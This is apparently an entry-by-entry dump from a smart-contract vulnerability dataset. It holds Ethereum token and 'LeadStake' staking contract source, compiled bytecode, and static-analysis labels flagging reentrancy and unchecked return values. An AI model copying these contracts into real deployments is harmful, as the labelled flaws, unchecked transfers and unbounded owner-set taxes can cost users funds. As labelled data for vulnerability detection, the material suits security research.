tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610319578063c3c8cd8014610339578063c9567bf91461034e578063cfe81ba014610363578063dd62ed3e1461038357600080fd5b8063715018a614610270578063842b7c08146102855780638da5cb5b146102a557806395d89b41146102cd578063a9059cbb146102f957600080fd5b8063273123b7116100e7578063273123b7146101dd578063313ce567146101ff5780635932ead11461021b5780636fc3eaec1461023b57806370a082311461025057600080fd5b806306fdde0314610124578063095ea7b31461016457806318160ddd1461019457806323b872dd146101bd57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820190915260058152640a6f2e4caf60db1b60208201525b60405161015b9190611891565b60405180910390f35b34801561017057600080fd5b5061018461017f366004611722565b6103c9565b604051901515815260200161015b565b3480156101a057600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161015b565b3480156101c957600080fd5b506101846101d83660046116e2565b6103e0565b3480156101e957600080fd5b506101fd6101f8366004611672565b610449565b005b34801561020b57600080fd5b506040516009815260200161015b565b34801561022757600080fd5b506101fd610236366004611814565b61049d565b34801561024757600080fd5b506101fd6104e5565b34801561025c57600080fd5b506101af61026b366004611672565b610512565b34801561027c57600080fd5b506101fd610534565b34801561029157600080fd5b506101fd6102a036600461184c565b6105a8565b3480156102b157600080fd5b506000546040516001600160a01b03909116815260200161015b565b3480156102d957600080fd5b506040805180820190915260038152620a6a4b60eb1b602082015261014e565b34801561030557600080fd5b50610184610314366004611722565b6105ff565b34801561032557600080fd5b506101fd61033436600461174d565b61060c565b34801561034557600080fd5b506101fd6106b0565b34801561035a57600080fd5b506101fd6106e6565b34801561036f57600080fd5b506101fd61037e36600461184c565b610aaf565b34801561038f57600080fd5b506101af61039e3660046116aa565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103d6338484610b06565b5060015b92915050565b60006103ed848484610c2a565b61043f843361043a85604051806060016040528060288152602001611a62602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f0d565b610b06565b5060019392505050565b6000546001600160a01b0316331461047c5760405162461bcd60e51b8152600401610473906118e4565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104c75760405162461bcd60e51b8152600401610473906118e4565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050557600080fd5b4761050f81610f47565b50565b6001600160a01b0381166000908152600260205260408120546103da90610fcc565b6000546001600160a01b0316331461055e5760405162461bcd60e51b8152600401610473906118e4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146105fa5760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610473565b600a55565b60006103d6338484610c2a565b6000546001600160a01b031633146106365760405162461bcd60e51b8152600401610473906118e4565b60005b81518110156106ac5760016006600084848151811061066857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106a4816119f7565b915050610639565b5050565b600c546001600160a01b0316336001600160a01b0316146106d057600080fd5b60006106db30610512565b905061050f81611050565b6000546001600160a01b031633146107105760405162461bcd60e51b8152600401610473906118e4565b600f54600160a01b900460ff161561076a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610473565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107aa30826b033b2e3c9fd0803ce8000000610b06565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e357600080fd5b505afa1580156107f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081b919061168e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561086357600080fd5b505afa158015610877573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089b919061168e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108e357600080fd5b505af11580156108f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091b919061168e565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061094b81610512565b6000806109606000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109c357600080fd5b505af11580156109d7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109fc9190611864565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a7757600080fd5b505af1158015610a8b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ac9190611830565b600d546001600160a01b0316336001600160a01b031614610b015760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610473565b600b55565b6001600160a01b038316610b685760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610473565b6001600160a01b038216610bc95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610473565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610473565b6001600160a01b038216610cf05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610473565b60008111610d525760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610473565b6000546001600160a01b03848116911614801590610d7e57506000546001600160a01b03838116911614155b15610efd576001600160a01b03831660009081526006602052604090205460ff16158015610dc557506001600160a01b03821660009081526006602052604090205460ff16155b610dce57600080fd5b600f546001600160a01b038481169116148015610df95750600e546001600160a01b03838116911614155b8015610e1e57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e335750600f54600160b81b900460ff165b15610e9057601054811115610e4757600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6b57600080fd5b610e7642601e611989565b6001600160a01b0383166000908152600760205260409020555b6000610e9b30610512565b600f54909150600160a81b900460ff16158015610ec65750600f546001600160a01b03858116911614155b8015610edb5750600f54600160b01b900460ff165b15610efb57610ee981611050565b478015610ef957610ef947610f47565b505b505b610f088383836111f5565b505050565b60008184841115610f315760405162461bcd60e51b81526004016104739190611891565b506000610f3e84866119e0565b95945050505050565b600c546001600160a01b03166108fc610f61836002611200565b6040518115909202916000818181858888f19350505050158015610f89573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610fa4836002611200565b6040518115909202916000818181858888f193505050501580156106ac573d6000803e3d6000fd5b60006008548211156110335760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610473565b600061103d611242565b90506110498382611200565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110a657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110fa57600080fd5b505afa15801561110e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611132919061168e565b8160018151811061115357634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111799130911684610b06565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111b2908590600090869030904290600401611919565b600060405180830381600087803b1580156111cc57600080fd5b505af11580156111e0573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f08838383611265565b600061104983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061135c565b600080600061124f61138a565b909250905061125e8282611200565b9250505090565b600080600080600080611277876113d2565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112a9908761142f565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112d89086611471565b6001600160a01b0389166000908152600260205260409020556112fa816114d0565b611304848361151a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161134991815260200190565b60405180910390a3505050505050505050565b6000818361137d5760405162461bcd60e51b81526004016104739190611891565b506000610f3e84866119a1565b60085460009081906b033b2e3c9fd0803ce80000006113a98282611200565b8210156113c9575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113ef8a600a54600b5461153e565b92509250925060006113ff611242565b905060008060006114128e878787611593565b919e509c509a509598509396509194505050505091939550919395565b600061104983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f0d565b60008061147e8385611989565b9050838110156110495760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610473565b60006114da611242565b905060006114e883836115e3565b306000908152600260205260409020549091506115059082611471565b30600090815260026020526040902055505050565b600854611527908361142f565b6008556009546115379082611471565b6009555050565b6000808080611558606461155289896115e3565b90611200565b9050600061156b60646115528a896115e3565b905060006115838261157d8b8661142f565b9061142f565b9992985090965090945050505050565b60008080806115a288866115e3565b905060006115b088876115e3565b905060006115be88886115e3565b905060006115d08261157d868661142f565b939b939a50919850919650505050505050565b6000826115f2575060006103da565b60006115fe83856119c1565b90508261160b85836119a1565b146110495760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610473565b803561166d81611a3e565b919050565b600060208284031215611683578081fd5b813561104981611a3e565b60006020828403121561169f578081fd5b815161104981611a3e565b600080604083850312156116bc578081fd5b82356116c781611a3e565b915060208301356116d781611a3e565b809150509250929050565b6000806000606084860312156116f6578081fd5b833561170181611a3e565b9250602084013561171181611a3e565b929592945050506040919091013590565b60008060408385031215611734578182fd5b823561173f81611a3e565b946020939093013593505050565b6000602080838503121561175f578182fd5b823567ffffffffffffffff80821115611776578384fd5b818501915085601f830112611789578384fd5b81358181111561179b5761179b611a28565b8060051b604051601f19603f830116810181811085821117156117c0576117c0611a28565b604052828152858101935084860182860187018a10156117de578788fd5b8795505b83861015611807576117f381611662565b8552600195909501949386019386016117e2565b5098975050505050505050565b600060208284031215611825578081fd5b813561104981611a53565b600060208284031215611841578081fd5b815161104981611a53565b60006020828403121561185d578081fd5b5035919050565b600080600060608486031215611878578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118bd578581018301518582016040015282016118a1565b818111156118ce5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119685784516001600160a01b031683529383019391830191600101611943565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561199c5761199c611a12565b500190565b6000826119bc57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156119db576119db611a12565b500290565b6000828210156119f2576119f2611a12565b500390565b6000600019821415611a0b57611a0b611a12565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461050f57600080fd5b801515811461050f57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a37c479616cb728c5e8d1919f427a8b23c1da6dc3f080697b99cceec956bdcbb64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,002
0x786a20fa02e4672d550bccf0bfff118caae519e6
/** *Submitted for verification at Etherscan.io on 2021-03-26 */ //"SPDX-License-Identifier: UNLICENSED" pragma solidity ^0.6.0; interface IERC20 { function transfer(address to, uint tokens) external returns (bool success); function transferFrom(address from, address to, uint tokens) external returns (bool success); function balanceOf(address tokenOwner) external view returns (uint balance); function approve(address spender, uint tokens) external returns (bool success); function allowance(address tokenOwner, address spender) external view returns (uint remaining); function totalSupply() external view returns (uint); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Owned { address public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { owner = _newOwner; emit OwnershipTransferred(owner, _newOwner); } } contract LeadStake is Owned { //initializing safe computations using SafeMath for uint; //LEAD contract address address public lead; //total amount of staked lead uint public totalStaked; //tax rate for staking in percentage uint public stakingTaxRate; //10 = 1% //tax amount for registration uint public registrationTax; //daily return of investment in percentage uint public dailyROI; //100 = 1% //tax rate for unstaking in percentage uint public unstakingTaxRate; //10 = 1% //minimum stakeable LEAD uint public minimumStakeValue; //pause mechanism bool public active = true; //mapping of stakeholder's addresses to data mapping(address => uint) public stakes; mapping(address => uint) public referralRewards; mapping(address => uint) public referralCount; mapping(address => uint) public stakeRewards; mapping(address => uint) private lastClock; mapping(address => bool) public registered; //Events event OnWithdrawal(address sender, uint amount); event OnStake(address sender, uint amount, uint tax); event OnUnstake(address sender, uint amount, uint tax); event OnRegisterAndStake(address stakeholder, uint amount, uint totalTax , address _referrer); /** * @dev Sets the initial values */ constructor( address _token, uint _stakingTaxRate, uint _unstakingTaxRate, uint _dailyROI, uint _registrationTax, uint _minimumStakeValue) public { //set initial state variables lead = _token; stakingTaxRate = _stakingTaxRate; unstakingTaxRate = _unstakingTaxRate; dailyROI = _dailyROI; registrationTax = _registrationTax; minimumStakeValue = _minimumStakeValue; } //exclusive access for registered address modifier onlyRegistered() { require(registered[msg.sender] == true, "Stakeholder must be registered"); _; } //exclusive access for unregistered address modifier onlyUnregistered() { require(registered[msg.sender] == false, "Stakeholder is already registered"); _; } //make sure contract is active modifier whenActive() { require(active == true, "Smart contract is curently inactive"); _; } /** * registers and creates stakes for new stakeholders * deducts the registration tax and staking tax * calculates refferal bonus from the registration tax and sends it to the _referrer if there is one * transfers LEAD from sender's address into the smart contract * Emits an {OnRegisterAndStake} event.. */ function registerAndStake(uint _amount, address _referrer) external onlyUnregistered() whenActive() { //makes sure user is not the referrer require(msg.sender != _referrer, "Cannot refer self"); //makes sure referrer is registered already require(registered[_referrer] || address(0x0) == _referrer, "Referrer must be registered"); //makes sure user has enough amount require(IERC20(lead).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake"); //makes sure amount is more than the registration fee and the minimum deposit require(_amount >= registrationTax.add(minimumStakeValue), "Must send at least enough LEAD to pay registration fee."); //makes sure smart contract transfers LEAD from user require(IERC20(lead).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer."); //calculates final amount after deducting registration tax uint finalAmount = _amount.sub(registrationTax); //calculates staking tax on final calculated amount uint stakingTax = (stakingTaxRate.mul(finalAmount)).div(1000); //conditional statement if user registers with referrer if(_referrer != address(0x0)) { //increase referral count of referrer referralCount[_referrer]++; //add referral bonus to referrer referralRewards[_referrer] = (referralRewards[_referrer]).add(stakingTax); } //register user registered[msg.sender] = true; //mark the transaction date lastClock[msg.sender] = now; //update the total staked LEAD amount in the pool totalStaked = totalStaked.add(finalAmount).sub(stakingTax); //update the user's stakes deducting the staking tax stakes[msg.sender] = (stakes[msg.sender]).add(finalAmount).sub(stakingTax); //emit event emit OnRegisterAndStake(msg.sender, _amount, registrationTax.add(stakingTax), _referrer); } //calculates stakeholders latest unclaimed earnings function calculateEarnings(address _stakeholder) public view returns(uint) { //records the number of days between the last payout time and now uint activeDays = (now.sub(lastClock[_stakeholder])).div(86400); //returns earnings based on daily ROI and active days return ((stakes[_stakeholder]).mul(dailyROI).mul(activeDays)).div(10000); } /** * creates stakes for already registered stakeholders * deducts the staking tax from _amount inputted * registers the remainder in the stakes of the sender * records the previous earnings before updated stakes * Emits an {OnStake} event */ function stake(uint _amount) external onlyRegistered() whenActive() { //makes sure stakeholder does not stake below the minimum require(_amount >= minimumStakeValue, "Amount is below minimum stake value."); //makes sure stakeholder has enough balance require(IERC20(lead).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake"); //makes sure smart contract transfers LEAD from user require(IERC20(lead).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer."); //calculates staking tax on amount uint stakingTax = (stakingTaxRate.mul(_amount)).div(1000); //calculates amount after tax uint afterTax = _amount.sub(stakingTax); //update the total staked LEAD amount in the pool totalStaked = totalStaked.add(afterTax); //adds earnings current earnings to stakeRewards stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender)); //calculates unpaid period uint remainder = (now.sub(lastClock[msg.sender])).mod(86400); //mark transaction date with remainder lastClock[msg.sender] = now.sub(remainder); //updates stakeholder's stakes stakes[msg.sender] = (stakes[msg.sender]).add(afterTax); //emit event emit OnStake(msg.sender, afterTax, stakingTax); } /** * removes '_amount' stakes for already registered stakeholders * deducts the unstaking tax from '_amount' * transfers the sum of the remainder, stake rewards, referral rewards, and current eanrings to the sender * deregisters stakeholder if all the stakes are removed * Emits an {OnStake} event */ function unstake(uint _amount) external onlyRegistered() { //makes sure _amount is not more than stake balance require(_amount <= stakes[msg.sender] && _amount > 0, 'Insufficient balance to unstake'); //calculates unstaking tax uint unstakingTax = (unstakingTaxRate.mul(_amount)).div(1000); //calculates amount after tax uint afterTax = _amount.sub(unstakingTax); //sums up stakeholder's total rewards with _amount deducting unstaking tax stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender)); //updates stakes stakes[msg.sender] = (stakes[msg.sender]).sub(_amount); //calculates unpaid period uint remainder = (now.sub(lastClock[msg.sender])).mod(86400); //mark transaction date with remainder lastClock[msg.sender] = now.sub(remainder); //update the total staked LEAD amount in the pool totalStaked = totalStaked.sub(_amount); //transfers value to stakeholder IERC20(lead).transfer(msg.sender, afterTax); //conditional statement if stakeholder has no stake left if(stakes[msg.sender] == 0) { //deregister stakeholder registered[msg.sender] = false; } //emit event emit OnUnstake(msg.sender, _amount, unstakingTax); } //transfers total active earnings to stakeholder's wallet function withdrawEarnings() external returns (bool success) { //calculates the total redeemable rewards uint totalReward = (referralRewards[msg.sender]).add(stakeRewards[msg.sender]).add(calculateEarnings(msg.sender)); //makes sure user has rewards to withdraw before execution require(totalReward > 0, 'No reward to withdraw'); //makes sure _amount is not more than required balance require((IERC20(lead).balanceOf(address(this))).sub(totalStaked) >= totalReward, 'Insufficient LEAD balance in pool'); //initializes stake rewards stakeRewards[msg.sender] = 0; //initializes referal rewards referralRewards[msg.sender] = 0; //initializes referral count referralCount[msg.sender] = 0; //calculates unpaid period uint remainder = (now.sub(lastClock[msg.sender])).mod(86400); //mark transaction date with remainder lastClock[msg.sender] = now.sub(remainder); //transfers total rewards to stakeholder IERC20(lead).transfer(msg.sender, totalReward); //emit event emit OnWithdrawal(msg.sender, totalReward); return true; } //used to view the current reward pool function rewardPool() external view onlyOwner() returns(uint claimable) { return (IERC20(lead).balanceOf(address(this))).sub(totalStaked); } //used to pause/start the contract's functionalities function changeActiveStatus() external onlyOwner() { if(active) { active = false; } else { active = true; } } //sets the staking rate function setStakingTaxRate(uint _stakingTaxRate) external onlyOwner() { stakingTaxRate = _stakingTaxRate; } //sets the unstaking rate function setUnstakingTaxRate(uint _unstakingTaxRate) external onlyOwner() { unstakingTaxRate = _unstakingTaxRate; } //sets the daily ROI function setDailyROI(uint _dailyROI) external onlyOwner() { dailyROI = _dailyROI; } //sets the registration tax function setRegistrationTax(uint _registrationTax) external onlyOwner() { registrationTax = _registrationTax; } //sets the minimum stake value function setMinimumStakeValue(uint _minimumStakeValue) external onlyOwner() { minimumStakeValue = _minimumStakeValue; } //withdraws _amount from the pool to owner function filter(uint _amount) external onlyOwner returns (bool success) { //makes sure _amount is not more than required balance require((IERC20(lead).balanceOf(address(this))).sub(totalStaked) >= _amount, 'Insufficient LEAD balance in pool'); //transfers _amount to _address IERC20(lead).transfer(msg.sender, _amount); //emit event emit OnWithdrawal(msg.sender, _amount); return true; } }
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c806370f0f387116100f9578063c428e11411610097578063f24ee7d311610071578063f24ee7d3146106a9578063f2fde38b146106f7578063f5c762cb1461073b578063fbfaa24d14610759576101c4565b8063c428e114146105a1578063db74559b146105f9578063e0de0c6814610651576101c4565b8063a14d71b8116100d3578063a14d71b8146104cb578063a694fc3a146104f9578063b2dd5c0714610527578063b73c6ce914610581576101c4565b806370f0f3871461045b578063817b1cd2146104795780638da5cb5b14610497576101c4565b806318e1fbfc1161016657806346bb0a161161014057806346bb0a16146103835780634be4d790146103b757806353aaa63b146103e557806366666aa91461043d576101c4565b806318e1fbfc146103095780631fb27cad146103275780632e17de7814610355576101c4565b80630c5386ee116101a25780630c5386ee146102355780630c9d52241461026357806313c33384146102a757806316934fc4146102b1576101c4565b806302fb0c5e146101c957806306693604146101e95780630aca582e14610217575b600080fd5b6101d1610777565b60405180821515815260200191505060405180910390f35b610215600480360360208110156101ff57600080fd5b810190808035906020019092919050505061078a565b005b61021f6107ec565b6040518082815260200191505060405180910390f35b6102616004803603602081101561024b57600080fd5b81019080803590602001909291905050506107f2565b005b61028f6004803603602081101561027957600080fd5b8101908080359060200190929190505050610854565b60405180821515815260200191505060405180910390f35b6102af610b0c565b005b6102f3600480360360208110156102c757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb7565b6040518082815260200191505060405180910390f35b610311610bcf565b6040518082815260200191505060405180910390f35b6103536004803603602081101561033d57600080fd5b8101908080359060200190929190505050610bd5565b005b6103816004803603602081101561036b57600080fd5b8101908080359060200190929190505050610c37565b005b61038b6111e3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e3600480360360208110156103cd57600080fd5b8101908080359060200190929190505050611209565b005b610427600480360360208110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126b565b6040518082815260200191505060405180910390f35b610445611283565b6040518082815260200191505060405180910390f35b6104636113bb565b6040518082815260200191505060405180910390f35b6104816113c1565b6040518082815260200191505060405180910390f35b61049f6113c7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104f7600480360360208110156104e157600080fd5b81019080803590602001909291905050506113eb565b005b6105256004803603602081101561050f57600080fd5b810190808035906020019092919050505061144d565b005b6105696004803603602081101561053d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611aec565b60405180821515815260200191505060405180910390f35b610589611b0c565b60405180821515815260200191505060405180910390f35b6105e3600480360360208110156105b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061201f565b6040518082815260200191505060405180910390f35b61063b6004803603602081101561060f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612037565b6040518082815260200191505060405180910390f35b6106936004803603602081101561066757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061204f565b6040518082815260200191505060405180910390f35b6106f5600480360360408110156106bf57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061213d565b005b6107396004803603602081101561070d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a1a565b005b610743612b2f565b6040518082815260200191505060405180910390f35b610761612b35565b6040518082815260200191505060405180910390f35b600860009054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107e257600080fd5b8060048190555050565b60045481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461084a57600080fd5b8060068190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108af57600080fd5b81610988600254600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561093f57600080fd5b505afa158015610953573d6000803e3d6000fd5b505050506040513d602081101561096957600080fd5b8101908080519060200190929190505050612b3b90919063ffffffff16565b10156109df576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612d0c6021913960400191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a7257600080fd5b505af1158015610a86573d6000803e3d6000fd5b505050506040513d6020811015610a9c57600080fd5b8101908080519060200190929190505050507fefbfe3c015941f3419cd0c7f713fd74c6874d0da2d765adc7f700370ccd5ba5c3383604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a160019050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b6457600080fd5b600860009054906101000a900460ff1615610b99576000600860006101000a81548160ff021916908315150217905550610bb5565b6001600860006101000a81548160ff0219169083151502179055505b565b60096020528060005260406000206000915090505481565b60075481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c2d57600080fd5b8060038190555050565b60011515600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610cfd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f5374616b65686f6c646572206d7573742062652072656769737465726564000081525060200191505060405180910390fd5b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111158015610d4c5750600081115b610dbe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f496e73756666696369656e742062616c616e636520746f20756e7374616b650081525060200191505060405180910390fd5b6000610de96103e8610ddb84600654612b5590919063ffffffff16565b612b8290919063ffffffff16565b90506000610e008284612b3b90919063ffffffff16565b9050610e5c610e0e3361204f565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ba290919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ef183600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3b90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000610f9d62015180610f8f600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442612b3b90919063ffffffff16565b612bbc90919063ffffffff16565b9050610fb28142612b3b90919063ffffffff16565b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061100a84600254612b3b90919063ffffffff16565b600281905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156110a357600080fd5b505af11580156110b7573d6000803e3d6000fd5b505050506040513d60208110156110cd57600080fd5b8101908080519060200190929190505050506000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611180576000600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b7fefe5e683dfe58f596b38874c815bc9599676515f5e641a3305c40aba31c822a7338585604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a150505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461126157600080fd5